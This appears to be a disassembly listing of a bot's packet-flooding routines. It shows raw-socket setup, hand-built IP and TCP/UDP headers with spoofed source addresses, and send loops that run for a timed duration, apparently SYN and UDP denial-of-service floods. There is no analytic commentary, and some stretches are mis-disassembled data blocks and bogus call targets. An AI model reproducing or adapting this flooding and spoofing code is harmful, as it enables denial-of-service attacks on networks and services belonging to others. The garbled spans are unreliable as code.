var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= byte ptr -24h
var_23		= byte ptr -23h
var_22		= word ptr -22h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= word ptr -1Ah
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 98h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ecx
		and	[ebp+var_88], 0
		push	4
		and	[ebp+var_58], 0
		pop	esi
		mov	ebx, 0FFh
		push	6
		xor	eax, eax
		pop	edx
		lea	edi, [ebp+var_54]
		mov	[ebp+var_84], ecx
		mov	[ebp+var_80], 2
		mov	[ebp+var_7C], esi
		mov	[ebp+var_78], edx
		mov	[ebp+var_74], 8
		mov	[ebp+var_70], 0Ch
		mov	[ebp+var_6C], 11h
		mov	[ebp+var_68], 16h
		mov	[ebp+var_64], 29h
		mov	[ebp+var_60], 3Ah
		mov	[ebp+var_5C], ebx
		mov	[ebp+var_50], eax
		stosd
		lea	edi, [ebp+var_2C]
		mov	[ebp+var_4C], eax
		mov	[ebp+var_48], eax
		mov	[ebp+var_44], 2000h
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], edx
		mov	[ebp+var_38], 3FFFh
		mov	[ebp+var_34], ecx
		mov	[ebp+var_30], eax
		mov	[ebp+var_28], ecx
		stosd
		mov	edi, 100h
		push	edi
		call	sub_41FD90
		pop	ecx
		mov	[ebp+var_4], eax
		push	edi
		push	eax
		call	ds:dword_451508
		push	[ebp+var_4]
		call	ds:dword_451574
		mov	eax, [eax+0Ch]
		push	ebx
		push	3
		push	2
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_C], eax
		call	ds:dword_451570
		lea	ecx, [ebp+var_28]
		push	esi
		push	ecx
		push	2
		push	0
		push	eax
		mov	[ebp+var_4], eax
		call	ds:dword_4514D4
		mov	esi, 200h
		push	esi
		call	sub_41AE40
		mov	edi, ds:dword_4F1340
		pop	ecx
		mov	[ebp+var_8], eax
		call	edi ; dword_4F1340
		mov	[ebp+var_10], eax
		mov	eax, [ebp+arg_0]
		push	29Ah
		mov	[ebp+var_94], eax
		mov	[ebp+var_98], 2
		call	ds:dword_4514F4
		mov	[ebp+var_96], ax


loc_414D1B:				; CODE XREF: sub_414C00+1FCj
		call	edi ; dword_4F1340
		sub	eax, [ebp+var_10]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	loc_414E01
		call	sub_41DBA0
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	eax, [ebp+var_C]
		and	eax, 0FFFFFFh
		shl	edx, 18h
		or	edx, eax
		mov	[ebp+var_C], edx
		call	sub_41DBA0
		cdq
		mov	ecx, ebx
		idiv	ecx
		mov	[ebp+var_54], edx
		call	sub_41DBA0
		cdq
		mov	ecx, 1FA4h
		mov	[ebp+var_24], 45h
		idiv	ecx
		mov	[ebp+var_23], 4
		mov	[ebp+var_2C], edx
		call	sub_41DBA0
		mov	[ebp+var_20], ax
		call	sub_41DBA0
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		mov	ax, word ptr [ebp+edx*4+var_50]
		push	eax
		call	ds:dword_4514F4
		push	esi
		mov	[ebp+var_1E], ax
		call	ds:dword_4514F4
		mov	[ebp+var_22], ax
		mov	[ebp+var_1C], bl
		call	sub_41DBA0
		push	0Eh
		cdq
		pop	ecx
		idiv	ecx
		push	14h
		mov	al, byte ptr [ebp+edx*4+var_88]
		mov	[ebp+var_1B], al
		mov	eax, [ebp+var_C]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_402670
		mov	[ebp+var_1A], ax
		lea	eax, [ebp+var_24]
		push	14h
		push	eax
		push	[ebp+var_8]
		call	sub_41E840
		add	esp, 14h
		lea	eax, [ebp+var_98]
		push	10h
		push	eax
		push	0
		push	esi
		push	[ebp+var_8]
		push	[ebp+var_4]
		call	ds:dword_451554
		jmp	loc_414D1B
; ---------------------------------------------------------------------------


loc_414E01:				; CODE XREF: sub_414C00+12Cj
		push	[ebp+var_8]
		call	sub_41B8B0
		pop	ecx
		push	[ebp+var_4]
		call	ds:dword_451588
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_414C00	endp

; ---------------------------------------------------------------------------
byte_414E1B	db 55h			; DATA XREF: seg000:00405748o
dword_414E1C	dd 0EC81EC8Bh, 440h, 5308458Bh,	686A5756h, 8D59F08Bh, 0FFFDC0BDh
		dd 6AA5F3FFh, 5EDB3301h, 0FF61BD8Dh, 0E6AFFFFh,	19CB089h
		dd 33590000h, 609D88C0h, 0F3FFFFFFh, 0AAAB66ABh, 13403D8Bh
		dd 0D7FF004Fh, 8D2AE850h, 68590000h, 0FFh, 26A036Ah, 157015FFh
		dd 0F8830045h, 0FC4589FFh, 15FF6675h, 451488h, 0C0858D50h
		dd 68FFFFFBh, 44BFFCh, 83CAE850h, 0C4830000h, 589D390Ch
		dd 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh
		dd 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FEC59CE8h, 14C483FFh
		dd 0FBC0858Dh, 0E850FFFFh, 12D7h, 0FF44B5FFh, 80E8FFFFh
		dd 59FFFF41h, 1DE85359h, 0A3FFFBB1h, 6ACC4D8Dh,	26A5104h
		dd 75895053h, 0D415FFCCh, 83004514h, 6675FFF8h,	148815FFh
		dd 8D500045h, 0FFFBC085h, 0C04868FFh, 0E8500044h, 834Ch
		dd 390CC483h, 0FFFF589Dh, 532375FFh, 0FBC0858Dh, 0B5FFFFFFh
		dd 0FFFFFF54h, 0C4858D50h, 50FFFFFEh, 0FDC0B5FFh, 1EE8FFFFh
		dd 83FFFEC5h, 858D14C4h, 0FFFFFBC0h, 1259E850h,	0B5FF0000h
		dd 0FFFFFF44h, 0FF4102E8h, 535959FFh, 0FBB09FE8h, 858D22FFh
		dd 0FFFFFDC4h, 3015FF50h, 83004515h, 5E75FFF8h,	0FBC0858Dh
		dd 9868FFFFh, 500044C0h, 82DBE8h, 589D3900h, 59FFFFFFh
		dd 53237559h, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h
		dd 50FFFFFEh, 0FDC0B5FFh, 0AEE8FFFFh, 83FFFEC4h, 858D14C4h
		dd 0FFFFFBC0h, 11E9E850h, 0B5FF0000h, 0FFFFFF44h, 0FF4092E8h
		dd 535959FFh, 0FBB02FE8h, 106A64FFh, 53BC458Dh,	8122E850h
		dd 0C4830000h, 45C7660Ch, 530002BCh, 14F415FFh,	89660045h
		dd 858DBE45h, 0FFFFFDC4h, 3015FF50h, 89004515h,	5D89C045h
		dd 89D7FF08h, 0D7FFD045h, 33D0452Bh, 3E8B9D2h, 0F1F70000h
		dd 0FF4C853Bh, 870FFFFFh, 2AAh,	45C6286Ah, 15FF45D4h, 4514F4h
		dd 0FF509D39h, 8966FFFFh, 8966D645h, 8966D875h,	45C6DA5Dh
		dd 45C680DCh, 896606DDh, 2D74DE5Dh, 8B4BE8h, 0C1F08B00h
		dd 41E808E6h, 300008Bh,	8E6C1F0h, 8B37E8h, 0C1F00300h
		dd 2DE808E6h, 300008Bh,	89016AF0h, 0EB5EE075h, 0C0B5FF16h
		dd 0E8FFFFFDh, 0FFFED58Fh, 15FF5059h, 451530h, 8BE04589h
		dd 9D39C045h, 0FFFFFF48h, 75E44589h, 8AFAE810h,	0B9990000h
		dd 401h, 0EB52F9F7h, 48B5FF06h,	0FFFFFFFFh, 4514F415h
		dd 45896600h, 8ADAE8EAh, 0B9990000h, 401h, 0FF52F9F7h
		dd 4514F415h, 56786800h, 89661234h, 15FFE845h, 4514F0h
		dd 8DEC4589h, 0FFFE4485h, 0C0D068FFh, 0E8500044h, 8AE8h
		dd 59C08559h, 5D890974h, 0F545C6F0h, 8D5CEB02h,	0FFFE4485h
		dd 0C0D468FFh, 0E8500044h, 8AC8h, 59C08559h, 5D890974h
		dd 0F545C6F0h, 8D3CEB10h, 0FFFE4485h, 0C0D868FFh, 0E8500044h
		dd 8AA8h, 59C08559h, 5DE82574h,	6A00008Ah, 0F7599903h
		dd 0F05589F9h, 8A4FE8h,	99026A00h, 0F7F9F759h, 80D21ADAh
		dd 0D1020EE2h, 68F55588h, 200h,	50F445C6h, 14F415FFh, 89660045h
		dd 458BF645h, 9C4589E0h, 6AE4458Bh, 5D896614h, 5D8966FAh
		dd 0A04589F8h, 0C6A45D88h, 0FF06A545h, 4514F415h, 45896600h
		dd 9C458DA6h, 8D50206Ah, 0FFFF6085h, 91E850FFh,	8D000096h
		dd 146AE845h, 80458D50h, 9682E850h, 858D0000h, 0FFFFFF60h
		dd 0E850346Ah, 0FFFED4A4h, 0F8458966h, 6AD4458Dh, 858D5014h
		dd 0FFFFFF60h, 965EE850h, 458D0000h, 50146AE8h,	0FF74858Dh
		dd 0E850FFFFh, 964Ch, 458D046Ah, 0E8505388h, 7F00h, 8D44C483h
		dd 0FFFF6085h, 50286AFFh, 0FED45FE8h, 458966FFh, 0D4458DDEh
		dd 8D50146Ah, 0FFFF6085h, 19E850FFh, 83000096h,	458D14C4h
		dd 50106ABCh, 60858D53h, 6AFFFFFFh, 75FF503Ch, 5415FFFCh
		dd 83004515h, 874FFF8h,	0E90845FFh, 0FFFFFDBAh,	0FFFC75FFh
		dd 45158815h, 8815FF00h, 50004514h, 0FDC4858Dh,	75FFFFFFh
		dd 0E0685008h, 8D0044C0h, 0FFFBC085h, 20068FFh,	0E8500000h
		dd 80E0h, 3918C483h, 0FFFF589Dh, 532375FFh, 0FBC0858Dh
		dd 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h, 50FFFFFEh, 0FDC0B5FFh
		dd 0B2E8FFFFh, 83FFFEC1h, 858D14C4h, 0FFFFFBC0h, 0EEDE850h
		dd 0B5FF0000h, 0FFFFFF44h, 0FF3D96E8h, 535959FFh, 0FBAD33E8h
		dd 75FFB8FFh, 8815FFFCh, 8B004515h, 0D2330845h,	8B3CC06Bh
		dd 0AE8C1C8h, 0FF4CB5F7h, 0E9C1FFFFh, 8D505114h, 0FFFDC485h
		dd 875FFFFh, 44858D50h,	50FFFFFEh, 0FBC0858Dh, 4868FFFFh
		dd 500044C1h, 7F4FE8h, 1CC48300h, 0FF589D39h, 2375FFFFh
		dd 0C0858D53h, 0FFFFFFFBh, 0FFFF54B5h, 858D50FFh, 0FFFFFEC4h
		dd 0C0B5FF50h, 0E8FFFFFDh, 0FFFEC121h, 8D14C483h, 0FFFBC085h
		dd 5CE850FFh, 0FF00000Eh, 0FFFF44B5h, 3D05E8FFh, 5959FFFFh
		dd 0ACA2E853h
		db 0FBh, 0FFh, 0BBh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41535F	proc near		; CODE XREF: seg000:004155FEp
					; seg000:0041560Dp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+arg_4]
		mov	edx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp+arg_4], esi
		jle	short loc_41538B
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi


loc_41537D:				; CODE XREF: sub_41535F+26j
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_41537D
		pop	edi
		cmp	eax, 1


loc_41538B:				; CODE XREF: sub_41535F+12j
		jnz	short loc_415398
		mov	al, [edx]
		mov	byte ptr [ebp+arg_4], al
		movzx	eax, word ptr [ebp+arg_4]
		add	esi, eax


loc_415398:				; CODE XREF: sub_41535F:loc_41538Bj
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		pop	ebp
		retn
sub_41535F	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 394h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		push	65h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp-194h]
		rep movsd
		mov	dword ptr [eax+190h], 1
		lea	eax, [ebp-110h]
		push	eax
		call	sub_41D560
		pop	ecx
		push	eax
		lea	eax, [ebp-190h]
		push	eax
		call	ds:dword_451530
		push	eax
		lea	esi, [ebp-194h]
		sub	esp, 194h
		push	65h
		pop	ecx
		mov	edi, esp
		rep movsd
		call	near ptr loc_415465+1
		push	eax
		lea	eax, [ebp-394h]
		push	offset unk_44C1B0
		push	eax
		call	sub_41D260
		xor	esi, esi
		add	esp, 1A8h
		cmp	[ebp-8], esi
		jnz	short loc_415449
		push	esi
		lea	eax, [ebp-394h]
		push	dword ptr [ebp-0Ch]
		push	eax
		lea	eax, [ebp-90h]
		push	eax
		push	dword ptr [ebp-194h]
		call	sub_40145D
		add	esp, 14h


loc_415449:				; CODE XREF: seg000:00415427j
		lea	eax, [ebp-394h]
		push	eax
		call	sub_4161A7
		push	dword ptr [ebp-10h]
		call	sub_40905B
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h


loc_415465:				; CODE XREF: seg000:00415405p
		adc	dl, [ebp-75h]
		in	al, dx
		sub	esp, 0CCh
		push	ebx
		push	esi
		mov	esi, ds:dword_4F1340
		xor	ebx, ebx
		push	edi
		mov	[ebp-4], ebx
		call	esi ; dword_4F1340
		push	0FFh
		push	3
		push	2
		mov	[ebp-10h], eax
		call	ds:dword_451570
		mov	[ebp-8], eax
		call	esi ; dword_4F1340
		push	eax
		call	sub_41DB90
		pop	ecx
		mov	edi, 578h
		push	edi
		push	9
		push	1
		call	sub_41801E
		pop	ecx
		pop	ecx
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		mov	esi, 5A0h


loc_4154C0:				; CODE XREF: seg000:00415699j
		call	ds:dword_4F1340	; GetTickCount
		sub	eax, [ebp-10h]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+1A0h]
		ja	loc_41569E
		cmp	ds:dword_4E30C0, ebx
		jnz	short loc_41553D
		push	10h
		pop	eax
		mov	[ebp-14h], eax
		push	eax
		lea	eax, [ebp-68h]
		push	ebx
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp-14h]
		push	eax
		lea	eax, [ebp-68h]
		push	eax
		push	dword ptr [ebp+8]
		call	ds:dword_451498
		push	0FFh
		push	1
		call	sub_41801E
		push	eax
		movzx	eax, byte ptr [ebp-62h]
		push	eax
		movzx	eax, byte ptr [ebp-63h]
		push	eax
		movzx	eax, byte ptr [ebp-64h]
		push	eax
		lea	eax, [ebp-0CCh]
		push	offset aD_D_D_D_0 ; "%d.%d.%d.%d"
		push	eax
		call	sub_41D260
		add	esp, 20h
		jmp	short loc_415550
; ---------------------------------------------------------------------------


loc_41553D:				; CODE XREF: seg000:004154E4j
		lea	eax, [ebp-0CCh]
		push	offset dword_4E2AA0
		push	eax
		call	sub_41E550
		pop	ecx
		pop	ecx


loc_415550:				; CODE XREF: seg000:0041553Bj
		lea	eax, [ebp-0CCh]
		push	eax
		call	ds:dword_451530
		mov	[ebp-0Ch], eax
		mov	eax, [ebp-58h]
		and	al, 45h
		push	esi
		or	al, 45h
		mov	byte ptr [ebp-54h], 10h
		mov	[ebp-58h], eax
		call	ds:dword_4514F4
		mov	[ebp-52h], ax
		call	sub_41DBA0
		mov	[ebp-50h], ax
		mov	eax, [ebp-0Ch]
		mov	[ebp-48h], eax
		mov	eax, [ebp+19Ch]
		mov	word ptr [ebp-4Eh], 40h
		mov	byte ptr [ebp-4Ch], 40h
		mov	byte ptr [ebp-4Bh], 6
		mov	[ebp-4Ah], bx
		mov	[ebp-44h], eax
		call	sub_41DBA0
		mov	[ebp-40h], ax
		call	sub_41DBA0
		mov	[ebp-3Eh], ax
		call	sub_41DBA0
		mov	[ebp-3Ch], eax
		call	sub_41DBA0
		mov	[ebp-38h], eax
		mov	eax, [ebp-34h]
		and	ax, 0FF50h
		push	14h
		or	al, 50h
		mov	byte ptr [ebp-32h], 18h
		mov	[ebp-34h], ax
		mov	ax, [ebp-3Eh]
		mov	[ebp-76h], ax
		mov	eax, [ebp-44h]
		mov	[ebp-74h], eax
		lea	eax, [ebp-58h]
		push	eax
		mov	word ptr [ebp-30h], 787Dh
		mov	[ebp-2Eh], bx
		mov	[ebp-2Ch], bx
		mov	word ptr [ebp-78h], 2
		call	sub_41535F
		mov	[ebp-4Ah], ax
		lea	eax, [ebp-58h]
		push	28h
		push	eax
		call	sub_41535F
		mov	eax, [ebp-48h]
		add	esp, 10h
		mov	[ebp-0ACh], eax
		mov	eax, [ebp-44h]
		push	58Ch
		mov	[ebp-0A8h], eax
		mov	[ebp-0A4h], bl
		mov	byte ptr [ebp-0A3h], 6
		call	ds:dword_4F14D4	; ntohs
		mov	[ebp-0A2h], ax
		lea	eax, [ebp-0A0h]
		push	14h
		push	eax
		lea	eax, [ebp-40h]
		push	eax
		call	sub_41E840
		lea	eax, [ebp-8Ch]
		push	edi
		push	eax
		lea	eax, [ebp-28h]
		push	eax
		call	sub_41E840
		lea	eax, [ebp-0ACh]
		push	598h
		push	eax
		call	sub_41535F
		add	esp, 20h
		mov	[ebp-2Eh], ax
		push	10h
		lea	eax, [ebp-78h]
		push	eax
		push	ebx
		lea	eax, [ebp-58h]
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		call	ds:dword_451554
		inc	dword ptr [ebp-4]
		jmp	loc_4154C0
; ---------------------------------------------------------------------------


loc_41569E:				; CODE XREF: seg000:004154D8j
		push	dword ptr [ebp-8]
		call	ds:dword_451588
		mov	eax, [ebp-4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	edx, [ebp+8]
		push	esi
		mov	eax, 85h
		push	edi
		mov	ecx, eax
		mov	esi, edx
		lea	edi, [ebp-214h]
		sub	esp, 214h
		rep movsd
		mov	ecx, eax
		lea	esi, [ebp-214h]
		mov	edi, esp
		mov	dword ptr [edx+210h], 1
		rep movsd
		call	sub_415725
		push	eax
		lea	eax, [ebp-414h]
		push	offset unk_44C208
		push	eax
		call	sub_41D260
		add	esp, 220h
		lea	eax, [ebp-414h]
		push	eax
		call	sub_4161A7
		push	dword ptr [ebp-10h]
		call	sub_40905B
		pop	ecx
		pop	ecx
		push	0
		call	near ptr 3D0000h
		insb

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415725	proc near		; CODE XREF: seg000:004156EAp

var_254		= byte ptr -254h
var_54		= byte ptr -54h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_2F		= byte ptr -2Fh
var_2E		= byte ptr -2Eh
var_24		= word ptr -24h
var_22		= word ptr -22h
var_20		= dword	ptr -20h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch
arg_84		= byte ptr  8Ch
arg_104		= byte ptr  10Ch
arg_184		= byte ptr  18Ch
arg_208		= dword	ptr  210h
arg_20C		= dword	ptr  214h

		push	ebp
		mov	ebp, esp
		sub	esp, 254h
		push	ebx
		push	esi
		mov	ebx, 0FFh
		push	edi
		push	ebx
		push	3
		push	2
		call	ds:dword_451570
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_C], eax
		jnz	short loc_415763
		lea	eax, [ebp+var_254]
		push	offset unk_44C268
		push	eax
		call	sub_41D260
		pop	ecx
		xor	edi, edi
		pop	ecx
		jmp	loc_415A29
; ---------------------------------------------------------------------------


loc_415763:				; CODE XREF: sub_415725+22j
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		xor	edi, edi
		push	2
		push	edi
		push	eax
		mov	[ebp+var_14], 1
		call	ds:dword_4514D4
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41578F
		call	ds:dword_451488
		push	eax
		push	offset unk_44C2B4
		jmp	short loc_4157AA
; ---------------------------------------------------------------------------


loc_41578F:				; CODE XREF: sub_415725+5Aj
		lea	eax, [ebp+arg_4]
		push	eax
		call	ds:dword_451530
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4157BE
		call	ds:dword_451488
		push	eax
		push	offset unk_44C324


loc_4157AA:				; CODE XREF: sub_415725+68j
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		jmp	loc_415A29
; ---------------------------------------------------------------------------


loc_4157BE:				; CODE XREF: sub_415725+77j
		push	edi
		mov	[ebp+var_24], 2
		call	ds:dword_4514F4
		mov	[ebp+var_22], ax
		lea	eax, [ebp+arg_4]
		push	eax
		call	ds:dword_4F14F0	; inet_addr
		mov	esi, ds:dword_4F1340
		mov	[ebp+var_20], eax
		call	esi ; dword_4F1340
		mov	[ebp+var_8], eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_44C388
		push	eax
		call	sub_41D260
		add	esp, 0Ch
		cmp	[ebp+arg_20C], edi
		jnz	short loc_415827
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 14h


loc_415827:				; CODE XREF: sub_415725+E0j
		mov	[ebp+var_4], edi
		call	esi ; dword_4F1340
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	esi, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_41D560
		cmp	esi, eax
		pop	ecx
		ja	loc_4159E0
		mov	esi, 41Ch
		jmp	short loc_41585B
; ---------------------------------------------------------------------------


loc_415856:				; CODE XREF: sub_415725+2B5j
		mov	ebx, 0FFh


loc_41585B:				; CODE XREF: sub_415725+12Fj
		cmp	ds:dword_4E30C0, edi
		jnz	short loc_4158B3
		push	10h
		pop	eax
		mov	[ebp+var_10], eax
		push	eax
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		push	[ebp+arg_0]
		call	ds:dword_451498
		push	ebx
		push	1
		call	sub_41801E
		push	eax
		movzx	eax, [ebp+var_2E]
		push	eax
		movzx	eax, [ebp+var_2F]
		push	eax
		movzx	eax, [ebp+var_30]
		push	eax
		lea	eax, [ebp+var_54]
		push	offset aD_D_D_D_1 ; "%d.%d.%d.%d"
		push	eax
		call	sub_41D260
		add	esp, 20h
		jmp	short loc_4158C3
; ---------------------------------------------------------------------------


loc_4158B3:				; CODE XREF: sub_415725+13Cj
		lea	eax, [ebp+var_54]
		push	offset dword_4E2AA0
		push	eax
		call	sub_41E550
		pop	ecx
		pop	ecx


loc_4158C3:				; CODE XREF: sub_415725+18Cj
		push	esi
		mov	ds:byte_4E2CA0,	45h
		call	ds:dword_4514F4
		mov	ds:word_4E2CA2,	ax
		lea	eax, [ebp+var_54]
		push	eax
		mov	ds:word_4E2CA4,	1
		mov	ds:word_4E2CA6,	di
		mov	ds:byte_4E2CA8,	80h
		mov	ds:byte_4E2CA9,	11h
		mov	ds:word_4E2CAA,	di
		call	ds:dword_451530
		mov	ds:dword_4E2CAC, eax
		mov	eax, [ebp+var_20]
		mov	ds:dword_4E2CB0, eax
		lea	eax, [ebp+arg_84]
		push	eax
		mov	ds:word_4E2CBA,	di
		call	sub_41D560
		test	eax, eax
		pop	ecx
		jnz	short loc_41593B
		call	sub_41DBA0
		cdq
		mov	ecx, 401h
		idiv	ecx
		push	edx
		jmp	short loc_415949
; ---------------------------------------------------------------------------


loc_41593B:				; CODE XREF: sub_415725+204j
		lea	eax, [ebp+arg_84]
		push	eax
		call	sub_41D560
		pop	ecx
		push	eax


loc_415949:				; CODE XREF: sub_415725+214j
		call	ds:dword_4514F4
		mov	ds:word_4E2CB6,	ax
		call	sub_41DBA0
		cdq
		mov	ecx, 401h
		push	408h
		idiv	ecx
		mov	ds:word_4E2CB4,	dx
		call	ds:dword_4514F4
		push	400h
		mov	ds:word_4E2CB8,	ax
		call	sub_41DBA0
		cdq
		idiv	ebx
		push	edx
		push	offset dword_4E2CBC
		call	sub_41D100
		add	esp, 0Ch
		lea	eax, [ebp+var_24]
		push	10h
		push	eax
		push	edi
		push	esi
		push	offset byte_4E2CA0
		push	[ebp+var_C]
		call	ds:dword_451554
		cmp	eax, 0FFFFFFFFh
		jz	loc_415A58
		inc	[ebp+var_4]
		call	ds:dword_4F1340	; GetTickCount
		sub	eax, [ebp+var_8]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_41D560
		cmp	ebx, eax
		pop	ecx
		jbe	loc_415856


loc_4159E0:				; CODE XREF: sub_415725+124j
		push	[ebp+var_C]
		call	ds:dword_451588
		mov	esi, [ebp+var_4]
		lea	eax, [ebp+arg_104]
		push	eax
		imul	esi, 41Ch
		call	sub_41D560
		mov	ecx, eax
		mov	eax, esi
		shr	eax, 0Ah
		xor	edx, edx
		div	ecx
		shr	esi, 14h
		push	eax
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_44C48C
		push	eax
		call	sub_41D260
		add	esp, 1Ch


loc_415A29:				; CODE XREF: sub_415725+39j
					; sub_415725+94j ...
		cmp	[ebp+arg_20C], edi
		jnz	short loc_415A51
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_40145D
		add	esp, 14h


loc_415A51:				; CODE XREF: sub_415725+30Aj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_415A58:				; CODE XREF: sub_415725+289j
		push	[ebp+var_4]
		push	esi
		call	ds:dword_451488
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_254]
		push	offset unk_44C3E0
		push	eax
		call	sub_41D260
		add	esp, 18h
		jmp	short loc_415A29
sub_415725	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+8]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp-214h]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp-110h]
		push	eax
		call	sub_41D560
		pop	ecx
		push	eax
		lea	eax, [ebp-190h]
		push	eax
		call	sub_41D560
		pop	ecx
		push	eax
		lea	eax, [ebp-210h]
		push	eax
		call	ds:dword_451530
		push	eax
		call	sub_415C17
		push	eax
		lea	eax, [ebp-414h]
		push	offset unk_44C510
		push	eax
		call	sub_41D260
		xor	esi, esi
		add	esp, 18h
		cmp	[ebp-8], esi
		jnz	short loc_415B0F
		push	esi
		lea	eax, [ebp-414h]
		push	dword ptr [ebp-0Ch]
		push	eax
		lea	eax, [ebp-90h]
		push	eax
		push	dword ptr [ebp-214h]
		call	sub_40145D
		add	esp, 14h


loc_415B0F:				; CODE XREF: seg000:00415AEDj
		lea	eax, [ebp-414h]
		push	eax
		call	sub_4161A7
		push	dword ptr [ebp-10h]
		call	sub_40905B
		pop	ecx
		pop	ecx
		push	esi
		call	near ptr 3D0000h
		push	edx
		pop	edi
		pop	esi

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415B2E	proc near		; CODE XREF: sub_415C17+191p

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		jnz	short loc_415B57
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_4F14B4	; connect
		jmp	loc_415C13
; ---------------------------------------------------------------------------


loc_415B57:				; CODE XREF: sub_415B2E+13j
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp+var_8], edi
		call	ds:dword_4F14C0	; ioctlsocket
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	ds:dword_45149C
		push	[ebp+arg_C]
		lea	eax, [ebp+var_210]
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		push	0
		push	eax
